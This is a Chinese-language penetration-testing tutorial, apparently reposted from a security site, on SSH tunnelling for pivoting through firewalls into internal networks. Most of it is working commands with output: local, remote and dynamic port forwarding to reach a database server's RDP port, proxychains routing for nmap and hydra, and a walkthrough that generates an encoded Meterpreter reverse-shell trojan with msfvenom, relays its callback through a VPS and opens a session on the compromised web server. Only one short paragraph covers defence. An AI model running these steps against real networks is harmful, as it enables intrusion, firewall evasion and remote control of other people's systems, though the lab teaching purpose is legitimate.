SSH隧道技术研究和实战

admin 2023年12月14日14:12:58评论12 views字数 6784阅读22分36秒阅读模式

0x00 简介

在内网中,几乎所有的Linux服务器都 支持SSH协议,一般情况下SSH的端口协议是允许通过防火墙的,所以会经常被攻击利用。而且,SSH协议的传输过程是加密的,所以我们很难在流量分析中区别是否是被攻击者利用,攻击者使用SSH协议作为隧道突破防火墙后,可以建立一些TCP连接进行操作。

0x01 基础操作

转发需要知道的参数:

-C:压缩传输,提高传输速度
-f :将ssh传输转入后台执行,不占用当前的shell
-N:建立静默连接(建立了连接,但是看不到具体的会话)
-g 允许远程主机连接本地用于转发的端口。
-L:本地端口转发
-R:远程端口转发
-D:动态转发(socks代理)
-P:指定ssh端口

1、本地转发

如下图所示,左侧为攻击者的VPS,中间是一台防火墙,右侧则是一个小型的内网;外部的VPS能访问内网的Web服务器,但不能访问数据库服务器,数据库和Web服务器能互相访问。

我们要做的目标是:以Web服务器作为跳板,访问内网中数据库服务器的3389端口。

1

我们只需要把数据库服务器172.16.0.106的3389端口映射到VPS上的1152端口,再访问VPS的1152端口就可以访问数据库服务器的3389端口了。

我们在VPS上执行下面命令:

ssh -CfNg -L 1152(VPS端口):172.16.0.106(数据库服务器IP):3389(数据库服务器端口) [email protected](Web服务器)

执行后输入密码即可:

┌──(VPS㉿kali)-[~]
└─$ ssh -CfNg -L 1152:172.16.0.106:3389 [email protected]                                                                                                                                                                             
[email protected]'s password: 

我们可以在VPS查看下监听的端口:

┌──(VPS㉿kali)-[~]
└─$ netstat -tunlp                                                                                                                                                                                                                    
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:1152            0.0.0.0:*               LISTEN      935867/ssh          
tcp6       0      0 :::1152                 :::*                    LISTEN      935867/ssh          

然后我们在VPS下可以用remmina进行远程桌面连接127.0.0.1:1152,可以看到我们已经可以访问数据库服务器的远程桌面:

2

整个过程就是我们在本地访问1152端口,就是通过ssh协议将数据传输到远程端口3389,我们可以看到是从web服务器(172.16.0.108)的IP进行登录:

C:\Users\test\Desktop>netstat -ano | findstr "3389"
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       1000
  TCP    172.16.0.106:3389      172.16.0.108:57100     ESTABLISHED     1000
  TCP    [::]:3389              [::]:0                 LISTENING       1000
  UDP    0.0.0.0:3389           *:*                                    1000
  UDP    [::]:3389              *:*                                    1000

2、远程转发

如下图所示,左侧为攻击者的VPS,中间是一台防火墙,右侧则是一个小型的内网;外部的VPS不能访问内网的Web服务器和数据库服务器,数据库和Web服务器能互相访问,但Web服务器可以访问VPS

我们要做的目标是:以Web服务器作为跳板,访问内网中数据库服务器的3389端口。

1

一样是以Web服务器作为跳板,通过访问VPS的1152端口将数据传输到数据库服务器的3389端口,与上面不同的是执行命令的是在Web服务器。

VPS不用操作,我们只在Web服务器执行以下命令,输入vps的密码即可:

ssh -CfNg -R 1152(VPS端口):172.16.0.106(数据库服务器IP):3389(数据库服务器端口) [email protected](VPS)

我们在VPS服务器查看端口:

┌──(VPS㉿kali)-[~]
└─$ netstat -tunlp                                                                                                                                                                                                               
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:1152            0.0.0.0:*               LISTEN      935867/ssh          
tcp6       0      0 :::1152                 :::*                    LISTEN      935867/ssh      

然后我们在VPS下可以用remmina进行远程桌面连接127.0.0.1:1152就可以连接到数据库服务器的3389端口了。

3、动态转发

如下图所示,左侧为攻击者的VPS,中间是一台防火墙,右侧则是一个小型的内网;外部的VPS能访问内网的Web服务器,但不能访问数据库服务器,数据库和Web服务器能互相访问。

我们要做的目标是:以Web服务器作为跳板建立socks代理,访问内网中服务器

1

实践上就是建立SOCKS 4/5的代理通道,我们在VPS上输入下面命令:

ssh -CfNg -D 8811(VPS端口) [email protected](Web服务器)

我们在VPS服务器查看端口:

┌──(VPS㉿kali)-[~]
└─$ netstat -tunlp                                                                                                                                                                                                               
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:8811            0.0.0.0:*               LISTEN      935868/ssh          
tcp6       0      0 :::8811                :::*                    LISTEN      935868/ssh      

然后我们可以使用kali自带的proxychains,我们只需要编辑一下配置文件:

┌──(VPS㉿kali)-[~]
└─$ sudo vim /etc/proxychains4.conf 

在最后一行加入内容socks4 127.0.0.1 8811:

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4  127.0.0.1 8811

保存后,我们使用下面命令即可访问到数据库服务器的3389端口:

┌──(VPS㉿kali)-[~]
└─$ proxychains4 remmina         

直接输入数据库服务器IP即可连接:

3

当然也可以使用nmap、hydra等工具对内网进行扫描,只需要在前面加上proxychains4即可。

4、X协议转发

远程登陆 Linux GUI 运行图形化界面工具,类似于VNC和X windows。

如下图所示,左侧为攻击者的VPS,中间是一台防火墙,右侧则是一个小型的内网;外部的VPS能访问内网的Web服务器,但不能访问数据库服务器,数据库和Web服务器能互相访问。

我们要做的目标是:以Web服务器作为跳板建立隧道,访问内网中服务器

1

我们在VPS上输入下面命令:

ssh -X [email protected](Web服务器)

可以发现终端已经变成了web服务器的终端界面,我们在当前的终端输入firefox、remmina就是打开web服务器上的软件,相当于VPS上实现图形化操作,查询端口两边都监听了6010端口:

4

图中的oscp是VPS,kali是Web服务器,106是数据库服务器

0x02 实战

实验环境如图,下面的环境相当于我们拿到了web服务器的webshell,但是是内网机器,VPS不能直接访问到Web服务器,而且VPS上没有Msf,VPS也不能直接访问本地Kali Linux,但web服务器和本地Kali Linux可以访问到VPS,这个时候要用到Msf我们需要使用SSH协议进行端口转发,当然也可以用reGeog来做代理。

我们要做的目标是:利用VPS作为中转,本地Kali Linux利用Msf控制内网中的Web服务器

5

在公网的VPS需要修改一下ssh的配置文件:

sudo vim /etc/ssh/sshd_config

把以下三项开启并修改为yes:

 AllowTcpForwarding yes
 GatewayPorts yes
 TCPKeepAlive yes

先在本地的Kali Linux上进行启动Msf监听:

msf6 exploit(multi/handler) > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_rc4_dns 
msf6 exploit(multi/handler) > set lport 53
msf6 exploit(multi/handler) > set lhost 172.16.0.107
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp_rc4_dns):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   EXITFUNC     process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST        172.16.0.107     yes       The DNS hostname to connect back to
   LPORT        53               yes       The listen port
   RC4PASSWORD  msf              yes       Password to derive RC4 key from


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > run

使用msfvenom生成一个木马,lhost填写VPS的IP:

msfvenom --platform Windows -p windows/meterpreter/reverse_tcp_rc4_dns lhost=172.16.0.108 lport=443 rc4password=msf -e x86/shikata_ga_nai -b '\x00' -i 5 -f exe -o dns_rc4.exe

下一步就在本地Kali Linux上执行ssh转发:

┌──(Kali㉿Kali)-[~]
└─$ ssh -C -f -N -g -R 443(VPS端口):172.16.0.107(本地Kali):53(Kali监听端口) [email protected] 

然后查看本地Kali的端口状态:

┌──(kali㉿kali)-[~]
└─$ netstat -tunlp                                                                                                                                                                                                               
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.16.0.107:53         0.0.0.0:*               LISTEN      - 
tcp6       0      0 :::22                   :::*                    LISTEN      - 

查看VPS的端口状态:

──(vps㉿vps)-[~]
└─$ netstat -tunlp                                                                                                                                                                                                               
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                                     
tcp        0      0 0 0.0.0.0:443           0.0.0.0:*               LISTEN      - 
tcp6       0      0 :::22                   :::*                    LISTEN      - 
tcp6       0      0 :::443                  :::*                    LISTEN      - 

最后我们把生成的木马dns_rc4.exe放在Web服务器上执行,就可以看到msf反弹回来一个shell:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.0.107:53 
[*] Sending stage (175178 bytes) to 172.16.0.107
[*] Meterpreter session 51 opened (172.16.0.107:53 -> 172.16.0.107:42804 ) at 2022-02-10 15:13:17 +0800

meterpreter > ifconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:ad:5b:f3
MTU          : 1500
IPv4 Address : 172.16.0.105
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::7d95:97e1:6b19:c934
IPv6 Netmask : ffff:ffff:ffff:ffff::

可以看到全程是走ssh加密协议的:

6

0x03 防御SSH隧道攻击

在系统中配置SSH远程管理白名单,在ACL中限制只有特定的IP地址才能连接SSH,以及设置系统完全使用带外管理等方法,都可以避免这一问题。

0x04 参考

https://xz.aliyun.com/t/7956

https://www.c0bra.xyz/2019/10/17/%E5%88%A9%E7%94%A8ssh%E9%9A%A7%E9%81%93%E4%B8%8A%E7%BA%BF%E5%86%85%E7%BD%91%E4%B8%BB%E6%9C%BA/

https://xz.aliyun.com/t/7245


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月14日14:12:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SSH隧道技术研究和实战https://cn-sec.com/archives/2298752.html

发表评论

匿名网友 填写信息